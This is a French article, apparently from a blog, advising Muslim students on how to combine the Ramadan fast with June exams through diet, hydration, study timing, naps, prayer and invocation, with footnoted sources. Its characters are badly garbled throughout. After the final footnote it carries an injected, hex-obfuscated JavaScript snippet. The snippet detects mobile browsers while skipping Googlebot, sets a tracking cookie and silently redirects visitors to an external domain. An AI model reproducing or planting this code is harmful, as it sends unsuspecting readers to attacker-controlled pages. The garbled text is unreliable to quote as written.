En ce dA�but de mois de juin, de nombreux A�tudiants traversent une pA�riode cruciale et dA�cisive dans leur formationA�: les examens. Le mois de juin coA?ncidant a�� une annA�e de plus a�� avec celui de Ramadan, il convient A� tout A�tudiant concernA� par la��obligation du jeA�ne et dA�sirant rester productif de prendre certaines bonnes habitudes.

Rappelons briA?vement quelles sont les personnes concernA�es par le jeA�ne de Ramadan. Tout musulman jouissant de ses capacitA�s mentales et de factoA� responsable de ses actes (mukallaf) sauf en cas de maladie, voyage, menstrues et autres exceptions. Les savants considA?rent que la��on devient mukallaf lors de la��apparition de poils pubiens, correspondant aux premiA?res menstrues pour les filles et A� la production de sperme pour les garA�ons, et/ou A� la��A?ge de 15 ans.

{A�A�lesA�croyantsA�! OnA�vous a prescritA�le jeA�neA�commeA�cela a A�tA� prescrit A�A�ceux qui vous ont prA�cA�dA�,A�ainsi atteindrez-vousA�laA�piA�tA�} (Coran,A� 2A�: 183)

La journA�e de jeA�ne commence trA?s tA?t, avant la��aube, et se termine A� la��heure du coucher du soleil. Il convient dA?s lors de sa��alimenter et sa��hydrater en suffisance au repas du sahA�r[1]. Il est prA�fA�rable de faire primer la qualitA� sur la quantitA� de nourriture absorbA�e mais, surtout, da��A�viter des mets trop salA�s, sucrA�s ou gras. Il est A�galement conseillA� de ne boire que de la��eau et du lait, ce dernier favorisant la rA�gularisation de la��appA�tit et attA�nuant la sensation de faim au cours de la journA�e.

Comme le reste de la��annA�e, une alimentation A�quilibrA�e intA�grant des quantitA�s adA�quates de nutriments,A�de sels minA�raux et d’eau est A�galement vitale pendant le Ramadan. En ces mois da��A�tA�, le repas de rupture se fait tardivement, peu da��heures sA�parent la��iftA?rA�duA�sahA�rA�et certains ne sentent peut-A?tre pas le besoin de se rA�veiller la nuit pour s’alimenter. Pourtant il sa��agit en rA�alitA� du repas le plus important de la journA�e, il permet de tenir jusqua��au soir. Les aliments riches en fibres et en glucides complets permettent de libA�rer de l’A�nergie lentement pendant de longues heures de jeA�ne. Ils se trouvent dans les cA�rA�ales, les fA�culents et les graines comme l’orge, le blA� completa�� Il faut les privilA�gierA�! L’apport d’acides gras insaturA�s (noix, poissons gras, huile d’olive…) est A�galement indispensable pour permettre au corps d’accomplir diverses fonctions essentielles. Mais le plus important reste la��hydratation. Elle est primordiale pendant la pA�riode deA�Ramadan. Il est conseillA� de boire de l’eau en grande quantitA�, entre 1,5l et 2l par nuit, en A�talant l’absorption de la rupture A� la reprise du jeA�ne.

En ce qui concerne la��A�tude, chaque individu est diffA�rent, certains prA�fA?rent A�tudier le matin, da��autres la��aprA?s-midi, et da��autres encore, le soir ou la nuit. Ceci dA�pend de tout un chacun,A�nA�anmoins la��A�tude matinale est souvent considA�rA�e comme A�tant la plus efficace en termes de mA�morisation. Une rA�vision matinale, mA?me pour ceux qui prA�fA?rent A�tudier en soirA�e, ne peut A?tre que bA�nA�fique pour une assimilation plus complA?te de la matiA?re A�tudiA�e.

Inutile de rappeler que la pA�riode d’examen doit A?tre une pA�riode de rA�vision. Le A�A�mA�tierA�A� d’A�tudiant demande un travail rA�gulier. A�Une bonne prise de notes, la recherche documentaire, la rA�appropriation de l’A�crit, des synthA?ses rA�alisA�es durant l’annA�e font partie des clA�s de la rA�ussite. Celui qui dA�couvre sa matiA?re pendant la session d’examens aura, bien A�videmment, beaucoup plus de mal, qu’il jeA�ne ou pas.

Si la��alimentation et la��A�tude sont des facteurs importants, les pA�riodes de repos le sont quasiment tout autant. La dA�tente est indispensable A� la��A�tude A�tant donnA� que la fatigue provoque des dA�ficiences lors de la phase de mA�morisation ainsi que dans la restitution des informations A�tudiA�es. Il ne sa��agit pas uniquement de dormir suffisamment, mais il sa��agit aussi de se dA�contracter, de se dA�tendre et de A�A�sa��aA�rerA�A� les neurones. Na��oublions pas que si le cerveau peut aisA�ment se passer de la��absorption de glucose durant toute la journA�e, il ne peut par contre pas totalement se passer da��oxygA?ne pendant plus de 3 minutes a�� sous peine de souffrir de lA�sions irrA�versibles. Marcher permet da��A�vacuer le stress, de sa��A�tirer, de remettre en place la colonne vertA�brale (qui souffre ordinairement en position da��A�tude), de penser A� autre chose, de reposer la vue et da��absorber une bonne dose da��oxygA?ne. On devrait, comme la��expose Christophe Bobin, dA�visser sa tA?te, la mettre sur une A�tagA?re et faire une promenade et voir, au retour, la tA?te allumA�e A� nouveau.[2]

A� J’ai accrochA� mon cerveau au portemanteau puis je suis sorti et j’ai fait la promenade parfaite. A�[3]

Une sieste de 15 A� 50 minutes, ne permettant pas au dormeur da��entrer dans la phase de sommeil profond, permet de se reposer sans laisser de sentiment de lourdeur. Ainsi, ceux qui en ressentent le besoin (et qui en ont la��occasion) devraient faire une petite sieste en dA�but da��aprA?s-midi entre la priA?re de dohr et de a�?asr. Le ProphA?te (i�?) avait la��habitude de faire la sieste tous les vendredis aprA?s la priA?re de JumA�a��a[4] mais pas uniquement, il faisait A�galement la sieste lors de certaines expA�ditions[5]. Anas Ibn MA?lik rapporte qua��il (i�?) a dit un jourA�: A�A�Si quelqu’un da��entre vous a l’air somnolant pendant sa priA?re, laissez-le aller faire une siesteA�A�[6].

Les bienfaits de la sieste sont mA�dicalement confirmA�s, comme le stipule le Dr. A�ric MullensA�: A�A�La chronobiologie nous apprend que la��on ne peut pas A?tre A�veillA� et endormi na��importe quand. Au cours des 24 heures, les pA�riodes de veille et de sommeil se succA?dent avec deux moments favorables au sommeil : la nuit [a��] et le jour [a��] en dA�but d’aprA?s-midi entre 13h et 17hA�A�.[7]

Selon la��Institut du Sommeil et de la VigilanceA�: A�A�Une sieste de 10 A� 20 minutes entre 13 et 15 heures permet da��abaisser le niveau des hormones liA�es au stress. Elle […] joue un rA?le non nA�gligeable dans la restructuration des neurones. De ce fait elle amA�liore la mA�moire et la concentration.A�A�[8]

Bien que cela soit une certitude, rappelons que les priA?res doivent se faire A� la��heure. En pA�riode de blocus, elles permettent A� la��A�tudiant de rompre plusieurs fois par jour avec la��A�tude de faA�on A� A�reposer la��intellect au travers de la mA�ditation. Notons que les bienfaits de la priA?re sur le corps sont divers et variA�s, et que ceux-ci sont da��autant plus apprA�ciables en pA�riode de surmenage physique, intellectuel et psychologique.

Il est conseillA� A� ceux qui dA�sirent faire du sport de le faire juste avant la��heure de la rupture du jeA�ne ou sinon aprA?s celle-ci. Par contre, il est dA�conseillA� pour celui qui ne connait pas clairement ses limites physiques A�de suivre des entraA�nements sportifs consA�quents au cours de la journA�e vu que ces derniers peuvent la��assoiffer ou la��affaiblir outre mesure.

Comme l’estime le Pr. Abderahman MechachA�: A�A�les examens ne constituent pas [en soi] une raison juridique valable permettant de rompre le jeA�ne obligatoire du mois de RamadanA�A�.[9] Toutefois certaines fatA?wA? permettent A� la��A�tudiant de rompre le jeA�ne lorsque celui-ci lui occasionne trop de difficultA�s et qua��il risque da��entraver A� la rA�ussite de ses examens. Ces avis juridiques ne sont pas destinA�s A� la totalitA� des A�tudiants, les conditions sont strictes et ne rA�pondent pas A� la situation de la majeure partie de ceux-ci. Ca��est pour cette raison qua��il est impA�ratif A� la��A�tudiant mineur, ressentant des difficultA�s A� concilier jeA�ne et examens[10], da��en parler A� ses parents ou A� un responsable religieux (imam, professeur, aumA?nier a��). Quant A� la��A�tudiant majeur, il lui est vivement recommandA� da��A�galement demander conseil pour son cas.

Nous terminerons par la��un des points les plus importantsA�: la��invocation. La��A�tudiant doit garder A� la��esprit que malgrA� tous ses efforts, la rA�ussite ne peut A?tre donnA�e que par AllA?h le Tout-Puissant. Il faut placer, conjointement A� la��A�tude, sa confiance en AllA?h et La��invoquer avec sincA�ritA�A�: {Quand vous avez accompli la salA?t, invoquez le nom da��Allah, debout, assis ou couchA�s sur vos cA?tA�s}. (Coran, 4A�: 103) Tout comme le jeA�ne et la priA?re, la��A�tude de l’A�tudiant est considA�rA�e, si les finalitA�s sont louables, comme une adoration (a�?ibA?da).[11] Si une A�tude rA�guliA?re et une hygiA?ne de vie saine contribuent assurA�ment A� la mA�morisation, la��invocation[12] peut A?tre la clA� de la plus belle des rA�ussitesa��

A�A�Rien ne dA�tourne le destin si ce na��est la��invocation.A�A�[13]

CoA�crit avec YA�suf Lopez

[1] Repas pris avant la��aube.

[2] BOBIN Christophe, La grande vie, Paris, Gallimard, 2014.

[3] BOBIN Christophe, Un assassin blanc comme neige, Paris, Gallimard, 2012.

[4] PriA?re du vendredi correspondant A� la��heure de celle de dohr. SahA�h al-BukhA?rA� (939), (940), (941), (6279)a��

[5] SahA�h al-BukhA?rA� (4135).

[6] A�Sunan an-Nasa’A� (443).

[7] http://eric.mullens.free.fr/sieste/sieste1.htm

[8] http://podcastscience.fm/dossiers/2012/07/19/la-science-de-la-sieste/

[9] http://fatawas.be/Articles/Les%205%20piliers/Jeune/Les-examens-et-le-ramadan.html

[10] Et ceci malgrA� qua��il soit en parfait A�tat de santA�.

[11] Consultez A� ce sujet la sA�rie da��articles sur la��importance de la connaissance selon la��Islam. PremiA?re partie disponible sur :A�https://raisonnances.net/la-quete-de-connaissance-est-une-obligation-1ere-partie/

[12] Il est conseillA� de rA�citer la��invocation coranique du ProphA?te MA�sa avant chaque examenA�: {Seigneur, ouvre-moi ma poitrine, et facilite ma mission, et dA�noue un nA�ud en ma langue afin quA?ils comprennent mes paroles (Rabbi chrah-lA� sadrA�A�wa yassir-lA� a�?amrA� wa-hloul ‘uqdatan min lisA�nA� yafqahA� qawlA�)}. (Coran, 20A�: 25-28)

[13] HadA�th fiable rapportA� par Ibn MA?jah (1/90).var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}